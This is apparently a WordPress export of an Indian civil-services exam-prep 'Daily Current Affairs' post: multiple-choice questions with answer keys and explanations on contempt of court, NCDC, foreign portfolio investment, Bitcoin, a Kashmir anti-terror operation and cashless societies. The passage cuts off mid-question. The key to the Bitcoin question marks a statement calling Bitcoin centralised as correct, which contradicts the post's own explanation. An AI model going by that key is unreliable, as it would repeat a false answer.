{"id":2706,"date":"2025-11-06T13:17:00","date_gmt":"2025-11-06T13:17:00","guid":{"rendered":"https:\/\/iasquest.com\/?p=2706"},"modified":"2026-02-11T18:48:48","modified_gmt":"2026-02-11T18:48:48","slug":"daily-current-affairs-06-11-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-06-11-2025\/","title":{"rendered":"DAILY CURRENT AFFAIRS \u2013 06.11.2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. With reference to Contempt of Court in India, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">I. Both the Supreme Court and High Courts are Courts of Record having the power to punish for their contempt.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">II. Civil contempt refers to disobedience of a court order, while criminal contempt involves acts that scandalise or lower the authority of the court.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\"><strong>Which of the statements given above are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\">(a) I only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\">(b) II only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\">(c) Both I and II<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\">(d) Neither I nor II<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\"><strong>Answer: (c) Both I and II<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>In NEWS:<\/strong> What constitutes as contempt of court in India?<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong>Contempt of Court in India<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\"><strong>Constitutional Basis<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-14\">\n<li><strong>Article 129: <\/strong>The Supreme Court shall be a Court of Record and have the power to punish for its contempt.<\/li>\n\n\n\n<li><strong>Article 215: <\/strong>The High Courts shall be Courts of Record and have similar powers. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li><strong>Article 19(2): <\/strong>The right to freedom of speech and expression under <strong>Article 19(1)(a)<\/strong> can be reasonably restricted on grounds of contempt of court.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\"><strong>What is a \u201cCourt of Record\u201d?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\">A Court of Record is one whose:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-17\">\n<li>Acts and judicial proceedings are recorded and preserved for perpetual memory and testimony.<\/li>\n\n\n\n<li>Records have evidentiary value and are not to be questioned in any court.<\/li>\n\n\n\n<li>Possesses inherent power to punish for contempt of itself.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\">Thus, the Supreme Court and High Courts are both Courts of Record under the Constitution.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\"><strong>Contempt of Court Act, 1971<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\">The Contempt of Courts Act, 1971 elaborates the constitutional provision and classifies contempt into two types:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\"><strong>(a) Civil Contempt \u2014 [Section 2(b)]<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-22\">\n<li>\u201cWilful disobedience of any judgment, decree, direction, order, writ or other process of a court, or wilful breach of an undertaking given to a court.\u201d<\/li>\n\n\n\n<li><strong>Example:<\/strong> Disobeying a court\u2019s injunction order or violating a stay order.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\"><strong>(b) Criminal Contempt \u2014 [Section 2(c)]<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-24\">\n<li>The publication (by words, spoken or written, or by any visible means) or any act which:<\/li>\n\n\n\n<li>Scandalises or lowers the authority of any court, or<\/li>\n\n\n\n<li>Prejudices or interferes with the due course of any judicial proceeding, or<\/li>\n\n\n\n<li>Interferes or tends to interfere with the administration of justice.<\/li>\n\n\n\n<li><strong>Example:<\/strong><ul><li>Using derogatory remarks against judges (e.g., <strong><em>M.V. Jayarajan v. High Court of Kerala, 2015<\/em><\/strong>).<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Making public statements likely to influence ongoing cases.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\"><strong>Hence statement 2 is correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\"><strong>Procedure for Initiating Contempt<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-27\">\n<li>Can be suo motu by the Supreme Court or High Court, or<\/li>\n\n\n\n<li>On a motion made by any person with the consent of:<ul><li>Attorney General of India (for SC), or<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Advocate General (for HC).<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2022)<\/strong> <br><br><strong>Q. Consider the following statements:\u00a0<\/strong> <br><br>1. Pursuant to the report of H.N. Sanyal Committee, the Contempt of Courts Act, 1971 was passed. <br>2. The Constitution of India empowers the Supreme Court and the High Courts to punish for contempt of themselves. <br>3. The Constitution of India defines Civil Contempt and Criminal Contempt.<br>4. In India, the Parliament is vested with the powers to make laws on Contempt of Court. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br>(a) 1 and 2 only <br><strong>(b) 1, 2 and 4<\/strong> <br>(c) 3 and 4 only <br>(d) 3 only<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/what-constitutes-as-contempt-of-court-in-india-explained\/article70245733.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/what-constitutes-as-contempt-of-court-in-india-explained\/article70245733.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\"><strong>2. With reference to the National Cooperative Development Corporation (NCDC), consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\">1. It is a statutory body under the Ministry of Cooperation.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\">2. It provides financial assistance to cooperatives and loans and grants to State Governments.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\">3. It can finance projects related to both agriculture and non-agricultural sectors.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\">(b) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\">(c) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\"><strong>Answer: (d) 1, 2 and 3<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\"><strong>In NEWS: <\/strong>National Cooperative Development Corporation (NCDC) &#8211; \u201cStrengthening India\u2019s Cooperative Ecosystem\u201d<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\"><strong>National Cooperative Development Corporation (NCDC):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-42\">\n<li><strong>Established:<\/strong> In <strong>1963<\/strong> under the <strong>National Cooperative Development Corporation Act, 1962<\/strong>.<\/li>\n\n\n\n<li><strong>Type:<\/strong> A <strong>statutory corporation<\/strong> under the <strong>Ministry of Cooperation<\/strong> (earlier under Agriculture &amp; Farmers Welfare). <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li><strong>Headquarters:<\/strong> <strong>New Delhi.<\/strong><\/li>\n\n\n\n<li><strong>Objective:<\/strong> To <strong>plan, promote, and finance<\/strong> programmes for the <strong>production, processing, marketing, storage, export, and import of agricultural produce and other notified commodities<\/strong> through cooperatives. <strong>Hence statement 3 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-43\">\n<li><strong>Functions:<\/strong><ul><li>Provides <strong>financial assistance<\/strong> to cooperatives for projects in sectors like agriculture, livestock, rural industries, and services.<\/li><\/ul><ul><li>Extends <strong>loans and grants<\/strong> to State Governments and directly to national\/state-level cooperative societies. <strong>Hence statement 2 is correct.<\/strong><\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Promotes <strong>integrated cooperative development projects (ICDPs)<\/strong> at the district level.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Funding:<\/strong> Receives funds from the <strong>Government of India<\/strong>, <strong>borrowings<\/strong>, and <strong>repayments from cooperatives<\/strong>.<\/li>\n\n\n\n<li><strong>Recent focus:<\/strong> Expanding support to <strong>dairy, fisheries, food processing, FPOs<\/strong>, and <strong>digital cooperatives<\/strong> under the <strong>\u201cSahakar 22\u201d and \u201cSahakar Pragya\u201d<\/strong> initiatives.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2023)<\/strong> <br><br><strong>Q. With reference to the \u201cPrimary Agricultural Credit Societies (PACS)\u201d in India, consider the following statements:<\/strong> <br><br>1. They are regulated by both the Reserve Bank of India and NABARD. <br>2. They are entities under the Companies Act, 2013. <br>3. They form the lowest tier of the three-tier cooperative credit structure in India. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br>(a) 1 and 2 only <br><strong>(b) 3 only<\/strong> <br>(c) 2 and 3 only <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2186643\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2186643<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\"><strong>3. With reference to Foreign Portfolio Investment (FPI), consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\">1. FPIs can invest in Indian securities such as shares, debentures, and government bonds.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\">2. FPI investors are allowed to hold more than 10% of the paid-up capital in an Indian company.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\">3. FPI is regulated under SEBI (Foreign Portfolio Investors) Regulations, 2019.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\"><strong>Which of the statements given above are not correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\">(a) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\">(c) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\"><strong>Answer: (b) 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\"><strong>In NEWS: <\/strong>\u2018Highest\u2019 FPI sell-off signals waning confidence in India<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-57 wp-block-paragraph\"><strong>Foreign Portfolio Investment (FPI):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-58\">\n<li>FPI refers to <strong>investment by foreign investors in financial assets of another country<\/strong>, such as <strong>shares, bonds, mutual funds, and derivatives<\/strong>, <strong>without control or management rights<\/strong>. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li><strong>Nature:<\/strong><ul><li>Considered <strong>short-term and volatile capital flow<\/strong>.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Made through <strong>foreign institutional investors (FIIs)<\/strong>, <strong>qualified foreign investors (QFIs)<\/strong>, or <strong>foreign institutional entities<\/strong>.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Regulator: SEBI (Securities and Exchange Board of India)<\/strong> regulates FPIs under the <em>SEBI (Foreign Portfolio Investors) Regulations, 2019. <\/em><strong>Hence statement 3 is correct.<\/strong><\/li>\n\n\n\n<li><strong>Difference from FDI:<\/strong><ul><li><strong>FDI<\/strong> implies a <strong>long-term investment with ownership and control<\/strong> (\u226510% equity).<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li><strong>FPI<\/strong> implies <strong>passive investment<\/strong> (&lt;10% equity). <strong>Hence statement 2 is incorrect.<\/strong><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Impact on Economy:<\/strong><ul><li>Increases <strong>liquidity in capital markets<\/strong>.<\/li><\/ul><ul><li>Sensitive to <strong>interest rate differentials, exchange rate stability, and global risk sentiment<\/strong>.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Can lead to <strong>capital flight and currency depreciation<\/strong> during global shocks.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2020)<\/strong> <br><br><strong>Q. With reference to the \u201cForeign Portfolio Investment (FPI)\u201d in India, consider the following statements:<\/strong> <br><br>1. It is a component of India\u2019s capital account. <br>2. It is regulated by the Reserve Bank of India. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br><strong>(a) 1 only<\/strong> <br>(b) 2 only <br>(c) Both 1 and 2 <br>(d) Neither 1 nor 2<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/business\/highest-fpi-sell-off-signals-waning-confidence-in-india\/article70245047.ece#:~:text=Foreign%20investors%20have%20sold%20%E2%82%B9,off%20in%20about%2020%20years\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/business\/highest-fpi-sell-off-signals-waning-confidence-in-india\/article70245047.ece#:~:text=Foreign%20investors%20have%20sold%20%E2%82%B9,off%20in%20about%2020%20years<\/strong><\/a><strong>.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\"><strong>4. With reference to Bitcoin, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\">1. Bitcoin is a centralised digital currency that operates with a central authority using blockchain<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\">technology for secure peer-to-peer transactions.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\">2. In India, it is not a legal tender, but not explicitly banned.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-64 wp-block-paragraph\"><strong>Which of the statements given above are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-66 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-69 wp-block-paragraph\"><strong>Answer: (c) Both 1 and 2<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-71 wp-block-paragraph\"><strong>In NEWS:<\/strong> Bitcoin shaken by long-term holders dumping $45 billion<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\"><strong>Bitcoin:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-73\">\n<li>Bitcoin is a <strong>decentralised digital currency<\/strong> that operates <strong>without a central authority or intermediary<\/strong>, using <strong>blockchain technology<\/strong> for secure peer-to-peer transactions.<\/li>\n\n\n\n<li><strong>Origin:<\/strong> Introduced in <strong>2009<\/strong> by an unknown person\/group under the pseudonym <strong>Satoshi Nakamoto<\/strong>.<\/li>\n\n\n\n<li><strong>Technology:<\/strong><ul><li>Based on <strong>Blockchain<\/strong>, a <strong>distributed ledger<\/strong> that records all transactions transparently.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Uses <strong>cryptography<\/strong> for security and verification.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Control and Supply:<\/strong><ul><li>Not issued or controlled by any <strong>central bank or government<\/strong>.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Total supply is <strong>capped at 21 million bitcoins<\/strong>, ensuring scarcity.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Mining: <\/strong>New bitcoins are generated through <strong>mining<\/strong>, which involves solving complex mathematical problems using computing power.<\/li>\n\n\n\n<li><strong>In India:<\/strong><ul><li><strong>Not a legal tender<\/strong>, but <strong>not explicitly banned<\/strong>.<\/li><\/ul><ul><li>Regulated indirectly under laws like <strong>Prevention of Money Laundering Act (PMLA)<\/strong> for crypto exchanges.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>The government imposes <strong>30% tax<\/strong> on virtual digital asset gains and <strong>1% TDS<\/strong> on transactions (Union Budget 2022\u201323).<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2020)<\/strong> <br><br><strong>Q. With reference to the \u201cVirtual Currencies\u201d, consider the following statements:<\/strong> <br><br>1. They are issued by the central banks. <br>2. They can be used as a medium of exchange. <br>3. They can be used for making payments and remittances. <br><br><strong>Which of the statements given above are correct?<\/strong> <br><br>(a) 1 and 2 only <br><strong>(b) 2 and 3 only<\/strong> <br>(c) 1 and 3 only<br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/economictimes.indiatimes.com\/markets\/cryptocurrency\/bitcoin-shaken-by-long-term-holders-dumping-45-billion\/articleshow\/125121141.cms?from=mdr\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/economictimes.indiatimes.com\/markets\/cryptocurrency\/bitcoin-shaken-by-long-term-holders-dumping-45-billion\/articleshow\/125121141.cms?from=mdr<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\"><strong>5. Operation Chhatru, recently seen in the news, is related to<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\">(a) A joint Indo-Nepal disaster-relief exercise<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-77 wp-block-paragraph\">(b) An anti-terror operation in Jammu &amp; Kashmir<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\">(c) A counter-narcotics drive along the India-Myanmar border<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-79 wp-block-paragraph\">(d) A naval operation to protect Indian fishermen in the Arabian Sea<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\"><strong>Answer: (b) An anti-terror operation in Jammu &amp; Kashmir<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-81 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-82 wp-block-paragraph\"><strong>In NEWS: <\/strong>Op Chhatru underway in J&amp;K&#8217;s Kishtwar, 3 terrorists suspected to be hiding<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-83 wp-block-paragraph\"><strong>Operation Chhatru:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-84\">\n<li>Operation Chhatru is an <strong>anti-terror operation<\/strong> launched in the <strong>Chhatru area of Kishtwar district<\/strong> in the Chenab Valley region of Jammu &amp; Kashmir. <strong>Hence option (b) is correct.<\/strong><\/li>\n\n\n\n<li>It is being conducted jointly by the Indian Army\u2019s White Knight Corps and the J&amp;K Police based on <strong>specific intelligence inputs about terrorist presence<\/strong> in the region.<\/li>\n\n\n\n<li>During the operation, terrorists affiliated with Pakistan-based groups were neutralised and a significant cache of <strong>war-like stores<\/strong> (including AK and M4 rifles) was recovered<\/li>\n\n\n\n<li>The operation underscores <strong>India\u2019s internal security dynamics<\/strong>, counter-terrorism measures and cross-border infiltration challenges.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-85 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.indiatoday.in\/india\/story\/security-forces-launch-operation-chhatru-in-jks-kishtwar-at-least-three-terrorists-suspected-to-be-hiding-2813727-2025-11-05\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.indiatoday.in\/india\/story\/security-forces-launch-operation-chhatru-in-jks-kishtwar-at-least-three-terrorists-suspected-to-be-hiding-2813727-2025-11-05<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\"><strong>6. Which of the following countries is widely regarded as being closest to becoming the world\u2019s first cashless society?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\">(a) Japan<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-88 wp-block-paragraph\">(b) Switzerland<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\">(c) Singapore<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-90 wp-block-paragraph\">(d) Sweden<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-91 wp-block-paragraph\"><strong>Answer: (d) Sweden<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-93 wp-block-paragraph\"><strong>In NEWS: <\/strong>Which country has become the world\u2019s first \u2018Cashless Society\u2019?<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\"><strong>World\u2019s First \u2018Cashless Society\u2019:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-95\">\n<li><strong>Sweden<\/strong> is often regarded as the <strong>world\u2019s first cashless society<\/strong>, where <strong>digital payments dominate over cash transactions<\/strong>. <strong>Hence option (d) is correct.<\/strong><\/li>\n\n\n\n<li><strong>Less than 5%<\/strong> of total transactions in Sweden are made using cash.<\/li>\n\n\n\n<li>Major digital payment systems: <strong>Swish<\/strong>, <strong>BankID<\/strong>, and <strong>mobile banking apps<\/strong> integrated across retailers and public services.<\/li>\n\n\n\n<li>Many banks in Sweden <strong>no longer handle cash<\/strong>, and even small shops, buses, and churches accept only <strong>digital payments<\/strong>.<\/li>\n\n\n\n<li>The <strong>Riksbank<\/strong> (Sweden\u2019s central bank) is developing the <strong>e-Krona<\/strong>, a <strong>Central Bank Digital Currency (CBDC)<\/strong>, to maintain financial inclusion and state control in a nearly cashless economy.<\/li>\n\n\n\n<li>Challenges include <strong>data privacy<\/strong>, <strong>cybersecurity<\/strong>, and ensuring <strong>access for the elderly and rural populations<\/strong>.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2018)<\/strong> <br><br><strong>Q. Which of the following is the most likely consequence of implementing the \u2018Unified Payments Interface (UPI)\u2019?<\/strong> <br><br><strong>(a) Mobile wallets will not be necessary for online payments.<\/strong> <br>(b) Digital currency will completely replace physical currency in India. <br>(c) FDI inflows will substantially increase. <br>(d) Direct transfer of subsidies to poor people will be discontinued.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/timesofindia.indiatimes.com\/life-style\/travel\/destinations\/which-country-has-become-the-worlds-first-cashless-society\/amp_articleshow\/125106312.cms\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/timesofindia.indiatimes.com\/life-style\/travel\/destinations\/which-country-has-become-the-worlds-first-cashless-society\/amp_articleshow\/125106312.cms<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\"><strong>7. What is\/are the benefit(s) to India of establishing \u2018Special Economic Zones\u2019?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\">1. They help in promotion of exports of goods and services.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\">2. They help in creation of employment opportunities.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\">3. They help in attracting investment from foreign sources.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\"><strong>Select the correct answer using the code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-102 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\">(b) 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-104 wp-block-paragraph\">(c) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-105 wp-block-paragraph\">(d) None of the above<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-106 wp-block-paragraph\"><strong>Answer: (c) 1, 2 and 3<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-108 wp-block-paragraph\"><strong>In NEWS: <\/strong>Govt panel working on new SEZ norms for exporters to access domestic market<\/p>\n\n\n\n<p class=\"has-black-color 